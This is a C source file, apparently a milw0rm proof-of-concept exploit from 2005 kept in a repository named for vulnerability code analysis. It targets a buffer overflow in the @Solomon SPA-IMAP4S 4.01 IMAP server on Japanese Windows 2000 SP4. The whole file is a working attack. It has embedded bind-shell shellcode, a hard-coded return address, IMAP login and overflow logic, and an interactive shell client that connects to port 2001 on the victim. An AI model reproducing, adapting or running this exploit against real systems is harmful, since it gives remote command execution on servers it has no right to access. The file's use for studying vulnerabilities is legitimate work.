lilbool/vuln-code-analysis
0
1//**************************************************************************
2// e-Post SPA-PRO Mail @Solomon SPA-IMAP4S 4.01 Service Buffer Overflow
3// Vulnerability
4//
5// Bind Shell POC Exploit for Japanese Win2K SP4
6// 31 May 2005
7//
8// This POC code binds shell on port 2001 of a vulnerable e-Post
9// SPA-PRO Mail @Solomon IMAP server.
10//
11// This POC assumes default mailbox configuration C:\mail\inbox\%USERNAME%
12// Any changes to the mailbox configuration will cause this POC to
13// fail due to the length differences.
14//
15//
16// Advisory
17// http://www.security.org.sg/vuln/spa-promail4.html
18// http://www.security.org.sg/vuln/spa-promail4-jp.html
19//
20//**************************************************************************
21
22#include <stdio.h>
23#include <conio.h>
24#include <winsock2.h>
25#include <windows.h>
26#pragma comment (lib,"ws2_32.lib")
27
28
29unsigned char expBuf[] =
30"2 create \""
31"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
32"\x55\x8B\xEC\x33\xC9\x66\xB9\xE8\x03\x2B\xE1\x32\xC0\x8B\xFC\xF3"
33"\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x70\x08"
34"\xD9\xEE\xD9\x74\x24\xF4\x5F\x83\xC7\x0C\xEB\x53\x60\x8B\x6C\x24"
35"\x24\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x8B\x7E\x20\x03\xFD\x8B"
36"\x4E\x18\x56\x33\xDB\x8B\x37\x03\xF5\x33\xC0\x99\xAC\x85\xC0\x74"
37"\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x2C\x74\x09\x83\xC7"
38"\x04\x43\xE2\xE1\x5E\xEB\x16\x5E\x8B\x7E\x24\x03\xFD\x66\x8B\x04"
39"\x5F\x8B\x7E\x1C\x03\xFD\x8B\x04\x87\x01\x44\x24\x24\x61\xC3\x89"
40"\x75\xF4\x68\x8E\x4E\x0E\xEC\x56\xFF\xD7\x59\x33\xC0\x66\xB8\x6C"
41"\x6C\x50\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD1\x8B"
42"\xF0\x68\xD9\x09\xF5\xAD\x56\xFF\xD7\x5B\x83\xC4\x20\x6A\x01\x6A"
43"\x02\xFF\xD3\x89\x45\xD0\x68\xA4\x1A\x70\xC7\x56\xFF\xD7\x5B\x33"
44"\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50\x8B\xC4\x6A\x10\x50"
45"\xFF\x75\xD0\xFF\xD3\x68\xA4\xAD\x2E\xE9\x56\xFF\xD7\x5B\xFF\x75"
46"\xD0\xFF\xD3\x8B\xCC\x6A\x10\x8B\xDC\x68\x35\x54\x8A\xA1\x56\xFF"
47"\xD7\x5A\x50\x50\x53\x51\xFF\x75\xD0\xFF\xD2\x8B\xD0\x68\xE7\x79"
48"\xC6\x79\x56\xFF\xD7\x58\x89\x45\xF0\x8B\x75\xF4\x83\xC4\x20\xC6"
49"\x04\x24\x44\xC6\x44\x24\x2D\x01\x89\x54\x24\x38\x89\x54\x24\x3C"
50"\x89\x54\x24\x40\x8B\xC4\x8D\x58\x44\x68\x72\xFE\xB3\x16\x56\xFF"
51"\xD7\x5A\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xCC\x53\x53\x50"
52"\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51\x50\xFF\xD2\x5B\x68\xAD"
53"\xD9\x05\xCE\x56\xFF\xD7\x58\x6A\xFF\xFF\x33\xFF\xD0\xFF\x74\x24"
54"\x48\xFF\x55\xF0\xFF\x75\xD0\xFF\x55\xF0\x68\xEF\xCE\xE0\x60\x56"
55"\xFF\xD7\x58\xFF\xD0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
56"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
57"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
58"\xe9\x4f\xfe\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
59"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
60"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
61"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x54\x54\x54\x54"
62"\x55\x55\x55\x55\x56\x56\x56\x56\x57\x57\x57\x57\xE9\x0C\xFE\xFF"
63"\xFF\xCC\xEB\xa0\x5A\xD6\x19\xF8\x74\x41\x41\x41\x42\x42\x42\x42"
64"\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"
65"\x47\x47\x47\x47\x48\x48\x48\x48\x36\x49\x49\x49\x4A\x4A\x4A\x4A"
66"\x4B\x4B\x4B\x4B\x4C\x4C\x4C\x4C\x4D\x4D\x4D\x4D\x4E\x4E\x4E\x4E"
67"\x4F\x4F\x4F\x4F\x50\x50\x50\x50\x51\x51\x51\x51\x52\x52\x52\x52"
68"\x53\x53\x53\x53\x54\x54\x54\x54\x55\x55\x55\x55\x56\x56\x56\x56"
69"\x57\x57\x57\x57\x58\x58\x58\x58\x59\x59\x59\x59\x5A\x5A\x5A\x5A"
70"\"\r\n";
71
72
73void shell(int sockfd)
74{
75 char buffer[1024];
76 fd_set rset;
77 FD_ZERO(&rset);
78
79 for(;;)
80 {
81 if(kbhit() != 0)
82 {
83 fgets(buffer, sizeof(buffer) - 2, stdin);
84 send(sockfd, buffer, strlen(buffer), 0);
85 }
86
87 FD_ZERO(&rset);
88 FD_SET(sockfd, &rset);
89
90 timeval tv;
91 tv.tv_sec = 0;
92 tv.tv_usec = 50;
93
94 if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
95 {
96 printf("select error\n");
97 break;
98 }
99
100 if(FD_ISSET(sockfd, &rset))
101 {
102 int n;
103
104 ZeroMemory(buffer, sizeof(buffer));
105 if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
106 {
107 printf("EOF\n");
108 return;
109 }
110 else
111 {
112 fwrite(buffer, 1, n, stdout);
113 }
114 }
115 }
116}
117
118
119#define ADDR_POSITION 534
120#define RET_ADDR 0x74F819D6 // CALL EBX in Japanese Win2K SP4
121
122// First short jump backwards. (EB AO)
123// You should know what to change here, landing onto INT 3 to let debugger kick in.
124#define FIRST_BACKJMP_INST 0x5AA0EBCC
125
126
127int main(int argc, char* argv[])
128{
129 WORD wVersionRequested;
130 WSADATA wsaData;
131 struct sockaddr_in sin;
132 int err;
133 char inBuffer[10000];
134 char loginBuf[1000];
135
136 if(argc != 4)
137 {
138 printf("\nUsage: %s <imap username> <imap password> <ip addr>\n", argv[0]);
139 return 1;
140 }
141
142 if(strlen(argv[1]) <= 0 || strlen(argv[1]) > 20)
143 {
144 printf("\nInvalid IMAP username! Maximum username length is 20.\n");
145 return 1;
146 }
147
148 if(strlen(argv[2]) <= 0 || strlen(argv[2]) > 14)
149 {
150 printf("\nInvalid IMAP password! Maximum password length is 14.\n");
151 return 1;
152 }
153
154 memset(loginBuf, 0, sizeof(loginBuf));
155 _snprintf(loginBuf, sizeof(loginBuf), "1 login \"%s\" \"%s\"\r\n", argv[1], argv[2]);
156 loginBuf[sizeof(loginBuf)-1] = 0;
157
158 int retPos = ADDR_POSITION - (strlen(argv[1]) - 1);
159
160 *((DWORD *)&expBuf[retPos]) = RET_ADDR;
161 *((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;
162
163
164 wVersionRequested = MAKEWORD(2,0);
165 err = WSAStartup(wVersionRequested, &wsaData);
166 if(err != 0)
167 {
168 printf("\nWSAStartup Error.\n");
169 return 1;
170 }
171
172 if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0)
173 {
174 printf("\nWinsock Version Error\n");
175 WSACleanup();
176 return 1;
177 }
178
179 SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
180
181 sin.sin_addr.s_addr = inet_addr(argv[3]);
182 sin.sin_family = AF_INET;
183 sin.sin_port = htons(143);
184
185 printf("\n[+] Trying to connect to %s\n", inet_ntoa(sin.sin_addr));
186
187 if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR)
188 {
189 int size;
190
191 // read IMAP banner
192 size = recv(s, inBuffer, sizeof(inBuffer), 0);
193 if(size == SOCKET_ERROR)
194 {
195 printf("[-] Error receiving IMAP banner!\n");
196 return 1;
197 }
198
199 printf("[+] IMAP banner received!\n\n");
200 fwrite(inBuffer, 1, size, stdout);
201 printf("\n");
202
203 if(send(s, (char *)loginBuf, strlen((char *)loginBuf), 0) == SOCKET_ERROR)
204 {
205 printf("[-] Error sending login!\n");
206 return 1;
207 }
208
209 printf("[+] Login Sent.\n");
210
211 size = recv(s, inBuffer, sizeof(inBuffer), 0);
212 if(size == SOCKET_ERROR)
213 {
214 printf("[-] Error receiving login reply!\n");
215 return 1;
216 }
217 if(strstr(inBuffer, "OK"))
218 printf("[+] Login successful!\n");
219 else
220 {
221 printf("[+] Login failed!\n");
222 return 1;
223 }
224
225 if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR)
226 {
227 printf("[-] Error sending exploit!\n");
228 return 1;
229 }
230 else
231 {
232 printf("[+] Exploit sent!\n");
233 }
234
235 Sleep(2000);
236
237 //================================= Connect to the target ==============================
238 SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
239 if(sock == INVALID_SOCKET)
240 {
241 printf("Invalid socket return in socket() call.\n");
242 WSACleanup();
243 return -1;
244 }
245
246 sin.sin_family = AF_INET;
247 sin.sin_port = htons(2001);
248 sin.sin_addr.s_addr = inet_addr(argv[3]);
249
250 if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
251 {
252 printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
253 closesocket(sock);
254 WSACleanup();
255 return -1;
256 }
257
258 printf("[+] Exploit successful!\n\n");
259 shell(sock);
260 closesocket(sock);
261 }
262 else
263 {
264 printf("[-] Cannot connect!\n");
265 }
266
267 closesocket(s);
268 WSACleanup();
269
270 return 0;
271}
272
273// milw0rm.com [2005-06-02]